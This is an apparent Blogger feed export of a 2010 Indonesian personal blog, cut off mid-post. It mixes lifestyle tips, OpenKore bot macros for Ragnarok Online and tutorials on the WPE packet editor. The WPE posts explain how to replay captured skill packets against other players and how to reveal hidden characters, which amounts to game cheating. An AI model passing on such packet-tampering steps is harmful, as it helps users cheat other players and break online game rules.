href='http://muse-sfx.blogspot.com/feeds/1664085630768803943/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/04/manusia.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1664085630768803943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1664085630768803943'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/04/manusia.html' title='Manusia'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-5013645522800164049</id><published>2010-01-20T08:27:00.000+07:00</published><updated>2010-01-20T08:32:21.247+07:00</updated><title type='text'>Liburan mw kmana yah?</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://cybertravel.cbn.net.id/UserFiles/Image/cybertravel/Travel%20Tips/jan/Trendi%20liburan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="310" src="http://cybertravel.cbn.net.id/UserFiles/Image/cybertravel/Travel%20Tips/jan/Trendi%20liburan.jpg" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Bosen kan liburan mw ngapain?! berikut beberapa tips biar ga bete selama liburan.&lt;br /&gt;&lt;br /&gt;1. Beli DVD bagus ajak temen atau ajak kluarga nonton bareng..&lt;br /&gt;2. Ajak teman teman buat ngumpul terus makan makan sambil ngobrol, ya kalo bisa cari tempat yg murah, hahahaha..&lt;br /&gt;3. Kalo punya pacar, ya liburan ke rumah pacar ajah. jangan sering sering tapi..&lt;br /&gt;4. Duit masih banyak tp bingung g ada yg nemenin?! mending coba ajak salah satu kluarga atau sodara kamu jalan jalan ya itung itung ada temennya lah.. &lt;br /&gt;5. Untuk para pecinta gamers, liburan diem dirumah dengan adanya komputer juga seneng..&lt;br /&gt;6. Jalan jalan bareng temen, ajak ke luar, tapi jangan ke mall, ngabisin duit, ajak ajah kerumah asal dikasih makan, hahaha.. &lt;span class =fullpost&gt;&lt;br /&gt;7. Maen gitar sambil ngulik lagu lagu baru, atau bikin lagu baru sambil nyanyi nyanyi..&lt;br /&gt;8. Buat cewe biasanya maen krumah temennya ajah curhat dah disana..&lt;br /&gt;9. Kita berenang, yipppey... tapi kalo yg takut item ya dirumah ajah dah..&lt;br /&gt;10. Kalo kata orang pinter, liburan itu stgh-nya have fun stgh-nya lagi belajar, hahahha..&lt;br /&gt;11. Ehemmmm... yang trakhir kalo bosen ya layaknya yg laen ajah, buka Facebook Twitter dll, hahahha..&lt;br /&gt;&lt;br /&gt;Kalo ada yg ga jelas jangan di ikutin, ^^..&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-5013645522800164049?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/5013645522800164049/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/liburan-mw-kmana-yah.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/5013645522800164049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/5013645522800164049'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/liburan-mw-kmana-yah.html' title='Liburan mw kmana yah?'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-4804994662115028485</id><published>2010-01-20T08:14:00.000+07:00</published><updated>2010-01-20T08:14:19.755+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OpenKore'/><title type='text'>Macro Auto DC</title><content type='html'>Pasti pernah donk kepikiran pas lagi bot tiba tiba mati ada momon yg bukan di tempatnya.&lt;br /&gt;ato mati karena kbanyakan momon aggresive?&lt;br /&gt;nih macro-nya biar g mati.&lt;br /&gt;&lt;br /&gt;####Auto DC####&lt;br /&gt;automacro autodc {&lt;br /&gt;&amp;nbsp;hp &amp;lt;= 35%&lt;br /&gt;&amp;nbsp;run-once 1&lt;br /&gt;&amp;nbsp;call {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;do relog 20&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pause 5&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;release autodc&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;span class = fullpost&gt;&lt;br /&gt;####DC Aggressives####&lt;br /&gt;automacro dc {&lt;br /&gt;&amp;nbsp;aggressives &amp;gt;= 4&lt;br /&gt;&amp;nbsp;run-once 1&lt;br /&gt;&amp;nbsp;call {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;do relog 60&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pause 5&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;release dc&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;Saya menambahkan pause 5 untuk delay, karena kalo bot ga punya delay, jadi pas muncul langsung jalan atau ngejalanin config/macro-nya. jadi saya set 5 detik biar g ngapa"in dulu ^^..&lt;br /&gt;selamat mencoba..&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-4804994662115028485?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/4804994662115028485/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/macro-auto-dc.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/4804994662115028485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/4804994662115028485'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/macro-auto-dc.html' title='Macro Auto DC'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-879146015488301998</id><published>2010-01-20T07:58:00.000+07:00</published><updated>2010-01-20T07:59:25.698+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OpenKore'/><title type='text'>Belajar macro itu mudah</title><content type='html'>Mau belajar macro dengan cepat?! masih newbie?? oke langsung aja kita belajar.&lt;br /&gt;Pertama tama yang harus anda lakukan adalah mendownload Macro-nya terlebih dahulu.Untuk mendapatkan Macro coba klik &lt;b&gt;&lt;a href="http://sourceforge.net/projects/openkore/files/Macro%20plugin/2.0.2/macro-2.0.2.zip/download"&gt;disini&lt;/a&gt;&lt;/b&gt;. Jangan lupa untuk di extract, kalo ga tau caranya klik kanan di rar-nya pilih extract here.&lt;br /&gt;Menempatkan macro tersebut di dalam OpenKore kalian. Buat folder bernama 'Plugins' tanpa tanda petik. Kira kira di dalam OK kamu sekarang tampilannya seperti ini.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_bPukrXvQvG0/S1ZNCyCDEHI/AAAAAAAAABQ/3yJPMk6QSpw/s1600-h/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_bPukrXvQvG0/S1ZNCyCDEHI/AAAAAAAAABQ/3yJPMk6QSpw/s400/1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class = fullpost&gt;&lt;br /&gt;Tempatkan folder Macro beserta macro.pl didalamnya [didalam folder Plugins yang sudah dibuat].&lt;br /&gt;Jadi di folder 'Plugins' sekarang terdapat folder Macro dan file macro.pl didalamnya.&lt;br /&gt;Sekarang kita ke folder 'control' dimana di dalamnya terdapat config, mon_control dsb.&lt;br /&gt;Buatlah sebuah notepad '&lt;b&gt;macros&lt;/b&gt;', nanti didalam file tersebut kita akan menuliskan macro yang kita mau.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;LET'S GET THE BASIC !&lt;br /&gt;Untuk membuat macro, dibutuhkan sebuah logika dikarenakan susah buatnya &amp;gt;.&amp;lt; jadi harus pinter pinter maenin logikanya.&lt;br /&gt;Tutornya bisa anda download &lt;b&gt;&lt;a href="http://www.4shared.com/file/201734808/896b8797/Tutorial_Macro.html"&gt;disini.&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Kalo udah baca insyaALLAH ngerti, saya akan membuat contoh macro paket sebagai berikut.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#######PAKET#######&lt;br /&gt;automacro paket {&lt;br /&gt;&amp;nbsp;pubm /paket/&lt;br /&gt;&amp;nbsp;call {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do sp 34 $.lastpub 10&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do sp 29 $.lastpub 10&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do sp 361 $.lastpub 10&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Untuk logikanya kalo anda sudah melihat tutor macro di atas maka anda sudah mengerti code seperti itu. begini.&lt;br /&gt;Tanda &lt;b&gt;#####&lt;/b&gt; tidak akan di baca oleh macro karena merupakan simbol komentar layaknya di config.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;automacro [nama macro] {&lt;/b&gt;&lt;br /&gt;bisa dilihat di atas bahwa saya menggunakan nama 'paket'.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;pubm /paket/&lt;/b&gt;&lt;br /&gt;perintah &lt;b&gt;pubm &lt;/b&gt;dapat anda lihat didalam file tutor macro yg sudah anda download tadi yang berfungsi sebagai pemicu macro dalam chat. sedangkan untuk &lt;b&gt;/paket/ &lt;/b&gt;macro akan berfungsi jika ada seseorang yang berbicara 'paket'.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;call {&lt;/b&gt;&lt;br /&gt;berfungsi untuk memanggil macro.&lt;b&gt; &lt;/b&gt;dengan &lt;b&gt;do sp [no. skill] $.lastpub [lv skill]&lt;/b&gt;.&lt;br /&gt;&lt;b&gt;do&lt;/b&gt; disini sama layaknya ketika kita mengetikkan perintah di console bot. misal di console kita tuliskan &lt;b&gt;sit&lt;/b&gt;, maka di macro kita menuliskan &lt;b&gt;do sit. sp&lt;/b&gt; perintah menggunakan skill terhadap player dimana ditujukan terhadap &lt;b&gt;$.lastpub &lt;/b&gt;yakni orang trakhir yang mengucapkan kata paket. &lt;b&gt;$.lastpub&lt;/b&gt; disini digunakan karena di atas menggunakan &lt;b&gt;pubm&lt;/b&gt;. &lt;b&gt;sekali lagi lihat tutor macro yang anda download di atas&lt;/b&gt;. &lt;b&gt;pubm&lt;/b&gt; berpasangan dengan &lt;b&gt;$.lastpub&lt;/b&gt;, untuk whisp menggunakan&lt;b&gt; pm&lt;/b&gt; lalu untuk mengetahui playernya menggunakan &lt;b&gt;$.lastpm&lt;/b&gt;.&lt;br /&gt;Untuk nomer skill dapat anda lihat di openkore, dengan mengetikkan 'skills' di console maka terdapat urutan nomer skill.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;misal, &lt;b&gt;do sp 34 $.lastpub 10, do sp 29 $.lastpub 10, do sp 361 $.lastpub 10&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;34 itu nomer skill untuk blessing, 29 untuk increase agi dan 361 untuk assumptio.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Selamat mencoba ^^..&lt;br /&gt;Happy RO..&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-879146015488301998?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/879146015488301998/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/belajar-macro-itu-mudah.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/879146015488301998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/879146015488301998'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/belajar-macro-itu-mudah.html' title='Belajar macro itu mudah'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bPukrXvQvG0/S1ZNCyCDEHI/AAAAAAAAABQ/3yJPMk6QSpw/s72-c/1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2125700367424823514</id><published>2010-01-18T15:32:00.000+07:00</published><updated>2010-04-15T15:06:10.403+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WPE'/><title type='text'>Melihat Cloaking dan Hide Dalam Ragnarok Online..?!?</title><content type='html'>WPE (winsock packet editor) adalah sebuah program packet editor, yang dapat merubah paket send atau receive yang dapat di temukan di hampir seluruh program yang berhubungan dengan konektivitas internet atau intranet. Sangat banyak yang bisa dilakukan oleh WPE dalam game Ragnarok Online ini. Contohnya untuk DETECT hiding atau cloaking, Spam Item, Spam WORD dll. Untuk lebih jelasnya liat dibawah..&lt;br /&gt;&lt;br /&gt;Saya ambil Contoh buat liat cloaking..&lt;br /&gt;&lt;br /&gt;Pertama yang anda harus lakukan downlod dulu nih &lt;a href="http://www.4shared.com/file/200069908/9518101/WPEnodelayMP.html" target="_blank"&gt;WPEnodelay+MP.rar&lt;/a&gt; lengkap ^^..&lt;br /&gt;Jangan lupa, Ragnarok anda harus sudah aktif. Kalo ga lagi maen RO ga bisa.. ^^&lt;br /&gt;&lt;br /&gt;1. Extract terlebih dahulu WPEnodelay+MP.rar, lalu di pojok kiri atas ada tombol target, pilih program ragnarok anda. Tekan Open atau Enter. Sepertin gambar berikut.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_bPukrXvQvG0/S1QZWH8QE8I/AAAAAAAAAA4/eLdcKvCdF1I/s1600-h/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_bPukrXvQvG0/S1QZWH8QE8I/AAAAAAAAAA4/eLdcKvCdF1I/s400/1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class = fullpost&gt;&lt;br /&gt;&lt;br /&gt;2.&amp;nbsp; Selanjutnya Buka filter-nya dengan tombol Open. pilih filternya lalu tekan Open atau Enter.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_bPukrXvQvG0/S1QaUeDIFtI/AAAAAAAAABA/-LUr05FNJUs/s1600-h/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_bPukrXvQvG0/S1QaUeDIFtI/AAAAAAAAABA/-LUr05FNJUs/s400/1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;3. Centang semua filter yang ada, dengan tombol yang sudah di sediakan. Kalo sudah di centang semuanya tekan tombol On. Pada pojok kiri atas terdapat tombol Play berukuran sedikit besar, lalu klik&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_bPukrXvQvG0/S1QcGDmnigI/AAAAAAAAABI/igfDd3sVzLQ/s1600-h/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_bPukrXvQvG0/S1QcGDmnigI/AAAAAAAAABI/igfDd3sVzLQ/s400/1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Finally........nah pas anda masuk ke Ragnarok lihat saja orang yang cloaking atau hide semua bisa terdeteksi bukan? ^^..&lt;br /&gt;Mohon maaf kalo dah g bisa dpake ^^.. &lt;br /&gt;Happy RO..&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2125700367424823514?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2125700367424823514/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/melihat-cloaking-dan-hide-dalam.html#comment-form' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2125700367424823514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2125700367424823514'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/melihat-cloaking-dan-hide-dalam.html' title='Melihat Cloaking dan Hide Dalam Ragnarok Online..?!?'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bPukrXvQvG0/S1QZWH8QE8I/AAAAAAAAAA4/eLdcKvCdF1I/s72-c/1.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-9135413362534016125</id><published>2010-01-12T01:28:00.000+07:00</published><updated>2010-01-12T01:35:24.326+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WPE'/><title type='text'>WPE</title><content type='html'>Program WPE adalah sebuah program dimana program tersebut mengedit beberapa packet yang di kirim.&lt;br /&gt;Saya akan menjelaskan tentang penggunaan WPE pada game RO private server, sekedar contoh. Tetapi sebelumnya di sini saya menggunakan karakter champion sebagai subjeknya.&lt;br /&gt;Oke kita mulai ajah contohnya.&lt;br /&gt;&lt;br /&gt;1. Buka RO private server, masuk sampai login.&lt;br /&gt;&lt;br /&gt;2. Buka program WPE-nya dengan cara alt+tab (ngerti kan ^^).&lt;br /&gt;&lt;br /&gt;3. Di pojok kiri atas ada 'Target Porgram', kamu klik lalu pilih RO kamu.&lt;br /&gt;&lt;br /&gt;4. Terus di bawahnya ada tombol play bewarna hitam, kamu klik.&lt;br /&gt;&lt;br /&gt;5. Masuk ke RO kamu, coba kamu gunakan skill Zen jika sudah balik ke WPE-nya stop.&lt;br /&gt;&lt;br /&gt;6. Dibawah ada tulisan [filters][send] klik yang send, ketika di stop pasti muncul jendela berisi kode kode, nah kode itu kamu cari send-nya yang berisi tentang mengeluarkan skill Zen tersebut. Untuk membuktikannya coba kamu klik kanan lalu pilih 'send' pasti muncul jendela lagi nah kamu pilih continues dengan 1000miliseconds, dan play. kamu balik ke RO jika berhasil pasti char kamu bakal Zen terus terusan. Oke jika selesai klik kanan lagi di Sending packet tadi, kamu pilih Add to Send list.&lt;br /&gt;&lt;span class=fullpost&gt;&lt;br /&gt;&lt;br /&gt;7. Pada kolom [send] pasti terdapat 1 new send, oke lanjut. Klik lagi tombol play di pojok kiri atas, balik ke RO coba sekarang kamu pencet skill Explosion spirit, lalu stop WPE-nya. Lakukan seperti hal yang di atas, jika benar Add to Send list.&lt;br /&gt;&lt;br /&gt;8. Klik play lagi, balik ke RO, kamu Zen lagi kamu stop lagi WPE-nya, lakukan lagi Add to Send list.&lt;br /&gt;&lt;br /&gt;9. Terakhir play lagi, balik ke RO, kamu ashura ke orang [kalo bisa orangnya g mati &amp;gt;.&amp;lt;]. Kamu stop WPE-nya, kali ini klik kanan lalu pilih 'Send' lihat dulu OPEN SOCKET ID-nya, kamu copy angka tersebut.kalo udah kamu Add to Send list lagi.&lt;br /&gt;&lt;br /&gt;10. Ini bagian yang paling seru, nah di kolom [send] kan ada 4 new send, kamu ceklis semua. disitu ada tombol play kecil warna hitam mirip yang di pojok kiri atas. Kamu klik tombol tersebut, disitu ada OPEN SOCKET ID kamu paste deh angka yang tadi di copy, kalo udah kamu tinggal set ke continues trus atur berapa miliseconds. coba kasih 100miliseconds.&lt;br /&gt;&lt;br /&gt;11. Klik tombol Play bewarna merah tersebut, trus kamu balik ke RO dan lihat, OMG kamu melakukan Ashura bertubi-tubi. ^^  Sekian dari saya semoga cara tersebut bisa bermanfaat, kembangkan lagi ilmunya ^^. Sebenarnya masih banyak lagi hal yang bisa dilakukan dengan program ini, namun saya belum sempat mencobanya. Selamat mencoba.. &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-9135413362534016125?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/9135413362534016125/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/windsock-packet-editor.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/9135413362534016125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/9135413362534016125'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/windsock-packet-editor.html' title='WPE'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-1560254791356763390</id><published>2010-01-11T20:06:00.000+07:00</published><updated>2010-01-11T20:07:25.410+07:00</updated><title type='text'>Bagaimana agar hidup kita tidak membosankan.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://kwernerdesign.com/blog/images/bored.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="315" src="http://kwernerdesign.com/blog/images/bored.jpg" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Dalam melalui kehidupan sehari-hari pastilah kita merasa bosan kadang-kadang. Ketika itu terjadi maka semuanya akan terasa menjenuhkan dan tidak asyik. Biar tidak bosan, saya punya beberapa tips:&lt;br /&gt;1. Cobalah untuk melakukan hal-hal berbeda setiap harinya.&lt;br /&gt;2. Lakukanlah hal-hal yang belum pernah anda coba (hal yang benar-benar baru, selama hal tersebut positif).&lt;br /&gt;3. Perbanyak teman/sahabat: seorang sahabat baru setiap harinya.&lt;br /&gt;4. Makanlah di tempat yang berbeda dari biasanya.&lt;br /&gt;5. Lewatlah jalan yang berbeda dengan yang biasanya anda lalui.&lt;br /&gt;6. Ubah channel TV favorit anda.&lt;br /&gt;7. Jangan terpaku untuk fokus pada satu hal dalam waktu yang lama.&lt;br /&gt;8. Sering-seringlah menghirup nafas panjang.&lt;br /&gt;9. Seringlah melihat sesuatu yang berwarna hijau.&lt;br /&gt;Semoga tips menghilangkan kebosanan ini bisa membantu anda terhindar dari stress dan kejenuhan.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-1560254791356763390?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/1560254791356763390/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/bagaimana-agar-hidup-kita-tidak.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1560254791356763390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1560254791356763390'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/bagaimana-agar-hidup-kita-tidak.html' title='Bagaimana agar hidup kita tidak membosankan.'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2378153048121520588</id><published>2010-01-10T13:23:00.001+07:00</published><updated>2010-01-10T13:26:16.430+07:00</updated><title type='text'>11 Trik Surfing dan Download...</title><content type='html'>Punya masalah dengan proses download terlalu lama, load halaman Web juga loyo, serta streaming video&lt;br /&gt;tidak mulus lagi. Belum lagi masalah sounds yang terputus-putus, semuanya&lt;br /&gt;merupakan masalah klasik payahnya koneksi internet.&lt;br /&gt;Tidak dapat dihindari, betapa cepatnya koneksi DSL baru? Bergembiralah Anda&lt;br /&gt;yang bisa menggunakan kemampuan koneksi yang lebih cepat tanpa mengeluarkan&lt;br /&gt;lagi lebih banyak uang untuk itu, atau upgrade layanan internet Anda.&lt;br /&gt;&lt;br /&gt;Berikut trik surfing dan download dengan mendorong performa yang dapat Anda&lt;br /&gt;gunakan meski Anda masih dengan koneksi dial-up. Tentu, Anda sendirilah yang&lt;br /&gt;tahu saat-saat yang tepat akses internet, petunjuk berikut hanya membantu Anda&lt;br /&gt;membuat alternatif pilihan yang benar dan tepat.&lt;br /&gt;&lt;br /&gt;Selamat membaca, dan surfing dengan kecepatan yang lebih!&lt;br /&gt;&lt;br /&gt;Percepat Dial Up Anda&lt;br /&gt;&lt;br /&gt;1. Pakailah 56K. &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Istilah "56k modem" sedikit menyesatkan, sebenarnya modem Anda connect ke ISP&lt;br /&gt;jauh lebih lambat karena faktor-faktor seperti line noise, jarak ISP dari&lt;br /&gt;tempat Anda dial-up dan berapa jumlah switch yang harus dilewati call Anda&lt;br /&gt;untuk mencapai provider.&lt;br /&gt;&lt;br /&gt;Untuk menyelidiki beberapa faktor di atas, pertama-tama angkat gagang telpon&lt;br /&gt;Anda, tekanlah satu tombol dan perhatikan suara yang ada di dalam kesunyian.&lt;br /&gt;Jika Anda mendengar banyak bunyi klik, tuts ataupun cross-talk (percakapan&lt;br /&gt;orang lain), pertimbangkanlah untuk menghubungi perusahaan telepon untuk&lt;br /&gt;mengetahui apakah kualitas sambungan telepon Anda dapat diperbagus (namun&lt;br /&gt;pastikan apakah Anda akan dikenakan biaya untuk hal ini).&lt;br /&gt;&lt;br /&gt;Juga, jika Anda memakai splitter untuk menghubungkan lebih dari satu jenis&lt;br /&gt;peralatan ke dalam outlet/jack telepon, cobalah untuk memasangkan modem&lt;br /&gt;langsung ke dalam outlet/jack tersebut untuk mendapatkan kualitas yang koneksi&lt;br /&gt;yang lebih tinggi.&lt;br /&gt;&lt;br /&gt;Trik lainnya: bereksperimen dengan beberapa nomor dial-ip. Hubungi ISP Anda&lt;br /&gt;untuk mendapatkan daftar nomor lokal dial-up yang terbaru. Cobalah beberapa&lt;br 